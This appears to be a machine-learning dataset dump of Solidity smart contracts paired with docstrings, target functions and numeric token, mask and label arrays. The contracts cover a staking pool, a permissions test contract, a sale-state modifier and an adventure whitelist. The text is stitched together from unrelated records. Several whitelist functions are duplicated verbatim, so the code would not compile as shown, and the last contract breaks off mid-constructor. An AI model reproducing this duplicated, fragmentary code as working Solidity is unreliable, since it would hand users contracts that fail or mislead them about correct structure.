-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "./utility/SafeMath.sol";
import "./utility/TokenHandler.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IOwned.sol";
import "./interfaces/IStakingPoolFactory.sol";
import "./interfaces/IStakingPoolFactoryStorage.sol";
import "./interfaces/IUniswapFactory.sol";
import "./interfaces/IUniswapExchange.sol";
import "./DSA.sol";
contract StakingPool is TokenHandler, DSA {
using SafeMath for uint256;
string public name;
IVault private vault;
address public factory;
IStakingPoolFactoryStorage private factoryStorage;
address public oldAddress; // previous staking pool version address, if the address equal zero then it is the initial version
address public newAddress; // previous staking pool version
uint256 private version = 1;
constructor(
string memory _name,
address _stakingPoolFactory, // staking pool factory proxy address
address _oldAddress, // previous staking pool version address, if the address equal zero then it is the initial version
address _vault,
address _lpToken,
address _oks,
uint256 _version,
address _owner
)
public
DSA(
_oks,
_lpToken,
_owner
)
{
require(_stakingPoolFactory != address(0), "StakingPool: staking pool factory is zero address");
require(_oldAddress != address(0), "StakingPool: previous pool address is zero address");
require(_vault != address(0), "StakingPool: vault is zero address");
name = _name;
vault = IVault(_vault);
oldAddress = _oldAddress;
version = _version;
factory = _stakingPoolFactory;
factoryStorage = IStakingPoolFactoryStorage(IStakingPoolFactory(factory).getFactoryStorage());
}
function() external payable {
require(msg.data.length == 0, "Only TRX deposit is allowed");
}
modifier isActive() {
require(newAddress == address(0), "StakingPool: upgraded");
_;
}
modifier isUpgraded() {
require(newAddress != address(0), "StakingPool: pool not upgraded");
// require(msg.sender == newAddress, "StakingPool: address not allowed");
_;
}
modifier onlyPreviousVersion() {
require(oldAddress == msg.sender, "StakingPool: address not allowed");
_;
}
modifier isStakingPoolFactory() {
require(msg.sender == IProxy(factory).target(), "StakingPool: only staking pool factory is allowed to upgrade");
_;
}
function notifyRewardAmount(uint256 _reward)
public
isActive
{
super.notifyRewardAmount(_reward);
}
function stake(uint256 _amount)
public
isActive
{
super.stake(_amount);
}
function withdraw(uint256 _sAmount)
public
isActive
{
super.withdraw(_sAmount);
}
// manager functionsn
/**
* @notice Issue synths against the stakinPool's OKS.
* @dev Issuance is only allowed by staking pool's owner.
* @param _amount The amount of synths you wish to issue.
*/
function issueSynths(uint256 _amount)
public
onlyOwner
{
ISynthetix(oks).issueSynths(_amount);
}
/**
* @notice Issue the maximum amount of Synths possible against the stakinPool's OKS.
* @dev Issuance is only allowed by staking pool's owner.
*/
function issueMaxSynths()
public
onlyOwner
{
ISynthetix(oks).issueMaxSynths();
}
/**
* @notice Function that allows you to exchange synths you hold in one flavour for another.
* @param _sourceCurrencyKey The source currency you wish to exchange from
* @param _sourceAmount The amount if the source currency you wish to exchange
* @param _destinationCurrencyKey The destination currency you wish to obtain.
*/
function synthExchange(bytes32 _sourceCurrencyKey, uint _sourceAmount, bytes32 _destinationCurrencyKey)
public
onlyOwner
{
ISynthetix(oks).exchange(_sourceCurrencyKey, _sourceAmount, _destinationCurrencyKey);
}
/**
* @notice Deposit TRX && Tokens (token) at current ratio to mint UNI tokens in the selected pool.
* @dev min_liquidity does nothing when total UNI supply is 0.
* @param _token address used in the exchange to add liquidity to.
* @param _min_liquidity Minimum number of UNI sender will mint if total UNI supply is greater than 0.
* @param _max_tokens Maximum number of tokens deposited. Deposits max amount if total UNI supply is 0.
* @return The amount of UNI minted.
*/
function addLiquidity(address _token, uint256 _min_liquidity, uint256 _max_tokens)
public
payable
onlyOwner
returns (uint256)
{
IUniswapExchange uniExchange = IUniswapExchange(
IUniswapFactory(factoryStorage.getUniswapFactory()).getExchange(_token)
);
_safeApprove(_token, address(uniExchange), _max_tokens);
uint256 deadline = block.timestamp + 10 minutes;
return uniExchange.addLiquidity.value(msg.value)(_min_liquidity, _max_tokens, deadline);
}
/**
* @dev Burn UNI tokens to withdraw TRX && Tokens at current ratio.
* @param _token address used in the exchange to remove liquidity from
* @param _amount Amount of UNI burned.
* @param _min_trx Minimum TRX withdrawn.
* @param _min_tokens Minimum Tokens withdrawn.
* @return The amount of TRX && Tokens withdrawn.
*/
function removeLiquidity(address _token, uint256 _amount, uint256 _min_trx, uint256 _min_tokens)
public
onlyOwner
returns (uint256 trxWithdrawn, uint256 tokensWithdraw)
{
IUniswapExchange uniExchange = IUniswapExchange(
IUniswapFactory(factoryStorage.getUniswapFactory()).getExchange(_token)
);
uint256 deadline = block.timestamp + 10 minutes;
(trxWithdrawn, tokensWithdraw) = uniExchange.removeLiquidity(_amount, _min_trx, _min_tokens, deadline);
}
function execute(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
{
require(factoryStorage.isAllowedMethod(_contract,getMethodID(_data)), "StakingPool: the method is not allowed for the provided address");
(bool success, ) = _contract.call.value(_value)(_data);
require(success, "StakingPool: low level call throw");
}
// upgrade functions
function upgrade(address payable _stakingPool) public isStakingPoolFactory {
StakingPool sp = StakingPool(_stakingPool);
require(newAddress == address(0), "StakingPool: contract already upgraded");
require(sp.getVersion() > version, "StakingPool: staking pool version has to be higher");
newAddress = _stakingPool;
IOwned(address(vault)).nominateNewOwner(_stakingPool);
IOwned(address(lpToken)).nominateNewOwner(_stakingPool);
sp.acceptContractOwnership(address(vault));
sp.acceptContractOwnership(address(lpToken));
sp.setExchangeRate(exchangeRate);
}
function transferTokenBalance(address _token) public isUpgraded {
_safeTransfer(_token, newAddress, ILPToken(_token).balanceOf(address(this)));
}
function transferTrxBalance() public isUpgraded {
address payable addr = address(uint160(newAddress));
addr.transfer(address(this).balance);
}
function acceptContractOwnership(address _addr) public onlyPreviousVersion {
IOwned(_addr).acceptOwnership();
}
function setExchangeRate(uint256 _exchangeRate) public onlyPreviousVersion {
exchangeRate = _exchangeRate;
}
// view functions
function getVault() public view returns(address) {
return address(vault);
}
function getVersion() public view returns(uint256) {
return version;
}
function getMethodID(bytes memory _data) internal pure returns (bytes4) {
return (bytes4(_data[0]) | bytes4(_data[1]) >> 8 | bytes4(_data[2]) >> 16 | bytes4(_data[3]) >> 24);
}
} | * @notice Function that allows you to exchange synths you hold in one flavour for another. @param _sourceCurrencyKey The source currency you wish to exchange from @param _sourceAmount The amount if the source currency you wish to exchange @param _destinationCurrencyKey The destination currency you wish to obtain./ | function synthExchange(bytes32 _sourceCurrencyKey, uint _sourceAmount, bytes32 _destinationCurrencyKey)
public
onlyOwner
{
ISynthetix(oks).exchange(_sourceCurrencyKey, _sourceAmount, _destinationCurrencyKey);
}
| 904,658 | [
1,
2083,
716,
5360,
1846,
358,
7829,
6194,
451,
87,
1846,
6887,
316,
1245,
31227,
477,
364,
4042,
18,
225,
389,
3168,
7623,
653,
1021,
1084,
5462,
1846,
14302,
358,
7829,
628,
225,
389,
3168,
6275,
1021,
3844,
309,
326,
1084,
5462,
1846,
14302,
358,
7829,
225,
389,
10590,
7623,
653,
1021,
2929,
5462,
1846,
14302,
358,
7161,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6194,
451,
11688,
12,
3890,
1578,
389,
3168,
7623,
653,
16,
2254,
389,
3168,
6275,
16,
1731,
1578,
389,
10590,
7623,
653,
13,
203,
3639,
1071,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
4437,
878,
451,
278,
697,
12,
601,
87,
2934,
16641,
24899,
3168,
7623,
653,
16,
389,
3168,
6275,
16,
389,
10590,
7623,
653,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.18;
import "../FwPermissions.sol";
contract TestFWPermissions is FwPermissions {
//for testing functions with modifiers
uint public counter;
// functions to switch states for different modifiers
function TestFWPermissions(address _admin, address _backupAdmin, address _reserve, address _contributor) public {
admin = _admin;
backupAdmin = _backupAdmin;
reserve = _reserve;
isContributor[ _contributor] = true;
contributors.push( _contributor);
counter = 0;
}
function setTimePeriods(uint _adminP, uint _raiseP, uint _opperateP, uint _liquidP) public {
start = now;
adminP = _adminP * (60 seconds);
raiseP = _raiseP * (60 seconds);
opperateP = _opperateP * (60 seconds);
liquidP = _liquidP * (60 seconds);
timePeriodsSet = true;
}
//switch adminStaked to true
function adminStake() public {
adminStaked = true;
}
//log the end balance
function logEndBal() public {
endBalanceLogged = true;
}
//set hasClaimed to true
function claim() public {
hasClaimed[msg.sender] = true;
}
//test modifiers
function testOnlyAdmin() public onlyAdmin {
counter += 1;
}
function testOnlyBackupAdmin() public onlyBackupAdmin {
counter += 1;
}
function testTimePeriodsNotSet() public timePeriodsNotSet {
counter += 1;
}
function testOnlyReserve() public onlyReserve {
counter += 1;
}
function testOnlyContributor() public onlyContributor {
counter += 1;
}
function testTimePeriodsAreSet() public timePeriodsAreSet {
counter += 1;
}
function testAdminHasNotStaked() public adminHasNotStaked {
counter += 1;
}
function testAdminHasStaked() public adminHasStaked {
counter += 1;
}
function testEndBalanceNotLogged() public endBalanceNotLogged {
counter += 1;
}
function testEndBalanceIsLogged() public endBalanceIsLogged {
counter += 1;
}
function testHasNotClaimed() public hasNotClaimed {
counter += 1;
}
function testInAdminP() public inAdminP {
counter += 1;
}
function testInRaiseP() public inRaiseP {
counter += 1;
}
function testInOpperateP() public inOpperateP {
counter += 1;
}
function testInOpAndLiqP() public inOpAndLiqP {
counter += 1;
}
function testInLiquidP() public inLiquidP {
counter += 1;
}
function testInClaimP() public inClaimP {
counter += 1;
}
}
| switch adminStaked to true | function adminStake() public {
adminStaked = true;
}
| 7,296,469 | [
1,
9610,
3981,
510,
9477,
358,
638,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3981,
510,
911,
1435,
1071,
288,
203,
1850,
3981,
510,
9477,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x8139A938dD63BD698e134D7D845629115e4f5cbF/sources/GASTK.sol | @notice Verifies the current state. @param saleState_ Sale state to verify. | modifier checkState(SaleStates saleState_) {
if (msg.sender != tx.origin) revert NonEOA();
if (saleState != saleState_) revert InvalidSaleState();
_;
}
| 4,243,756 | [
1,
19802,
326,
783,
919,
18,
225,
272,
5349,
1119,
67,
348,
5349,
919,
358,
3929,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
13632,
12,
30746,
7629,
272,
5349,
1119,
67,
13,
288,
203,
3639,
309,
261,
3576,
18,
15330,
480,
2229,
18,
10012,
13,
15226,
3858,
41,
28202,
5621,
203,
3639,
309,
261,
87,
5349,
1119,
480,
272,
5349,
1119,
67,
13,
15226,
1962,
30746,
1119,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xBc4a4E7EcE9429D982f9D5C83bcadBB9b2e9314D/sources/limit-break-contracts/contracts/adventures/AdventureWhitelist.sol | * @title AdventureWhitelist @author Limit Break, Inc. @notice Implements the basic security features of the {IAdventurous} token standard for ERC721-compliant tokens. This includes a whitelist for trusted Adventure contracts designed to interoperate with this token./ | abstract contract AdventureWhitelist is InitializableOwnable {
pragma solidity ^0.8.4;
struct AdventureDetails {
bool isWhitelisted;
uint128 arrayIndex;
}
event AdventureWhitelistUpdated(address indexed adventure, bool whitelisted);
address[] public whitelistedAdventureList;
mapping (address => AdventureDetails) public whitelistedAdventures;
function isAdventureWhitelisted(address account) public view returns (bool) {
return whitelistedAdventures[account].isWhitelisted;
}
function whitelistAdventure(address adventure) external onlyOwner {
if(isAdventureWhitelisted(adventure)) {
revert AlreadyWhitelisted();
}
if(!IERC165(adventure).supportsInterface(type(IAdventure).interfaceId)) {
revert InvalidAdventureContract();
}
uint256 arrayIndex = whitelistedAdventureList.length;
if(arrayIndex > type(uint128).max) {
revert ArrayIndexOverflowsUint128();
}
whitelistedAdventures[adventure].isWhitelisted = true;
whitelistedAdventures[adventure].arrayIndex = uint128(arrayIndex);
whitelistedAdventureList.push(adventure);
emit AdventureWhitelistUpdated(adventure, true);
}
function whitelistAdventure(address adventure) external onlyOwner {
if(isAdventureWhitelisted(adventure)) {
revert AlreadyWhitelisted();
}
if(!IERC165(adventure).supportsInterface(type(IAdventure).interfaceId)) {
revert InvalidAdventureContract();
}
uint256 arrayIndex = whitelistedAdventureList.length;
if(arrayIndex > type(uint128).max) {
revert ArrayIndexOverflowsUint128();
}
whitelistedAdventures[adventure].isWhitelisted = true;
whitelistedAdventures[adventure].arrayIndex = uint128(arrayIndex);
whitelistedAdventureList.push(adventure);
emit AdventureWhitelistUpdated(adventure, true);
}
function whitelistAdventure(address adventure) external onlyOwner {
if(isAdventureWhitelisted(adventure)) {
revert AlreadyWhitelisted();
}
if(!IERC165(adventure).supportsInterface(type(IAdventure).interfaceId)) {
revert InvalidAdventureContract();
}
uint256 arrayIndex = whitelistedAdventureList.length;
if(arrayIndex > type(uint128).max) {
revert ArrayIndexOverflowsUint128();
}
whitelistedAdventures[adventure].isWhitelisted = true;
whitelistedAdventures[adventure].arrayIndex = uint128(arrayIndex);
whitelistedAdventureList.push(adventure);
emit AdventureWhitelistUpdated(adventure, true);
}
function whitelistAdventure(address adventure) external onlyOwner {
if(isAdventureWhitelisted(adventure)) {
revert AlreadyWhitelisted();
}
if(!IERC165(adventure).supportsInterface(type(IAdventure).interfaceId)) {
revert InvalidAdventureContract();
}
uint256 arrayIndex = whitelistedAdventureList.length;
if(arrayIndex > type(uint128).max) {
revert ArrayIndexOverflowsUint128();
}
whitelistedAdventures[adventure].isWhitelisted = true;
whitelistedAdventures[adventure].arrayIndex = uint128(arrayIndex);
whitelistedAdventureList.push(adventure);
emit AdventureWhitelistUpdated(adventure, true);
}
function unwhitelistAdventure(address adventure) external onlyOwner {
if(!isAdventureWhitelisted(adventure)) {
revert NotWhitelisted();
}
uint128 itemPositionToDelete = whitelistedAdventures[adventure].arrayIndex;
uint256 arrayEndIndex = whitelistedAdventureList.length - 1;
if(itemPositionToDelete != arrayEndIndex) {
whitelistedAdventureList[itemPositionToDelete] = whitelistedAdventureList[arrayEndIndex];
whitelistedAdventures[whitelistedAdventureList[itemPositionToDelete]].arrayIndex = itemPositionToDelete;
}
whitelistedAdventureList.pop();
delete whitelistedAdventures[adventure];
emit AdventureWhitelistUpdated(adventure, false);
}
function unwhitelistAdventure(address adventure) external onlyOwner {
if(!isAdventureWhitelisted(adventure)) {
revert NotWhitelisted();
}
uint128 itemPositionToDelete = whitelistedAdventures[adventure].arrayIndex;
uint256 arrayEndIndex = whitelistedAdventureList.length - 1;
if(itemPositionToDelete != arrayEndIndex) {
whitelistedAdventureList[itemPositionToDelete] = whitelistedAdventureList[arrayEndIndex];
whitelistedAdventures[whitelistedAdventureList[itemPositionToDelete]].arrayIndex = itemPositionToDelete;
}
whitelistedAdventureList.pop();
delete whitelistedAdventures[adventure];
emit AdventureWhitelistUpdated(adventure, false);
}
function unwhitelistAdventure(address adventure) external onlyOwner {
if(!isAdventureWhitelisted(adventure)) {
revert NotWhitelisted();
}
uint128 itemPositionToDelete = whitelistedAdventures[adventure].arrayIndex;
uint256 arrayEndIndex = whitelistedAdventureList.length - 1;
if(itemPositionToDelete != arrayEndIndex) {
whitelistedAdventureList[itemPositionToDelete] = whitelistedAdventureList[arrayEndIndex];
whitelistedAdventures[whitelistedAdventureList[itemPositionToDelete]].arrayIndex = itemPositionToDelete;
}
whitelistedAdventureList.pop();
delete whitelistedAdventures[adventure];
emit AdventureWhitelistUpdated(adventure, false);
}
function _requireCallerIsWhitelistedAdventure() internal view {
if(!isAdventureWhitelisted(_msgSender())) {
revert CallerNotAWhitelistedAdventure();
}
}
function _requireCallerIsWhitelistedAdventure() internal view {
if(!isAdventureWhitelisted(_msgSender())) {
revert CallerNotAWhitelistedAdventure();
}
}
function _requireAdventureRemovedFromWhitelist(address adventure) internal view {
if(isAdventureWhitelisted(adventure)) {
revert AdventureIsStillWhitelisted();
}
}
function _requireAdventureRemovedFromWhitelist(address adventure) internal view {
if(isAdventureWhitelisted(adventure)) {
revert AdventureIsStillWhitelisted();
}
}
}
| 17,051,130 | [
1,
1871,
616,
594,
18927,
225,
7214,
17030,
16,
15090,
18,
225,
29704,
326,
5337,
4373,
4467,
434,
326,
288,
45,
1871,
616,
295,
1481,
97,
1147,
4529,
364,
4232,
39,
27,
5340,
17,
832,
18515,
2430,
18,
1220,
6104,
279,
10734,
364,
13179,
4052,
616,
594,
20092,
26584,
358,
1554,
4063,
340,
598,
333,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
4052,
616,
594,
18927,
353,
10188,
6934,
5460,
429,
288,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
24,
31,
203,
565,
1958,
4052,
616,
594,
3790,
288,
203,
3639,
1426,
353,
18927,
329,
31,
203,
3639,
2254,
10392,
526,
1016,
31,
203,
565,
289,
203,
203,
377,
203,
203,
203,
565,
871,
4052,
616,
594,
18927,
7381,
12,
2867,
8808,
1261,
616,
594,
16,
1426,
26944,
1769,
203,
565,
1758,
8526,
1071,
26944,
1871,
616,
594,
682,
31,
203,
565,
2874,
261,
2867,
516,
4052,
616,
594,
3790,
13,
1071,
26944,
1871,
616,
1823,
31,
203,
565,
445,
353,
1871,
616,
594,
18927,
329,
12,
2867,
2236,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
26944,
1871,
616,
1823,
63,
4631,
8009,
291,
18927,
329,
31,
203,
565,
289,
203,
203,
565,
445,
10734,
1871,
616,
594,
12,
2867,
1261,
616,
594,
13,
3903,
1338,
5541,
288,
203,
3639,
309,
12,
291,
1871,
616,
594,
18927,
329,
12,
361,
616,
594,
3719,
288,
203,
5411,
15226,
17009,
18927,
329,
5621,
203,
3639,
289,
203,
203,
3639,
309,
12,
5,
45,
654,
39,
28275,
12,
361,
616,
594,
2934,
28064,
1358,
12,
723,
12,
45,
1871,
616,
594,
2934,
5831,
548,
3719,
288,
203,
5411,
15226,
1962,
1871,
616,
594,
8924,
5621,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
526,
1016,
273,
26944,
1871,
616,
594,
682,
18,
2469,
31,
203,
3639,
309,
12,
1126,
1016,
405,
618,
12,
11890,
10392,
2934,
1896,
13,
288,
2
] |
pragma solidity ^0.5.2;
import "./ERC20Capped.sol";
import "./ERC20Burnable.sol";
import "./ERC20Detailed.sol";
import "./ERC20Pausable.sol";
contract Eraswap is ERC20Detailed,ERC20Burnable,ERC20Capped,ERC20Pausable {
event NRTManagerAdded(address NRTManager);
constructor()
public
ERC20Detailed ("Era Swap", "ES", 18) ERC20Capped(9100000000000000000000000000) {
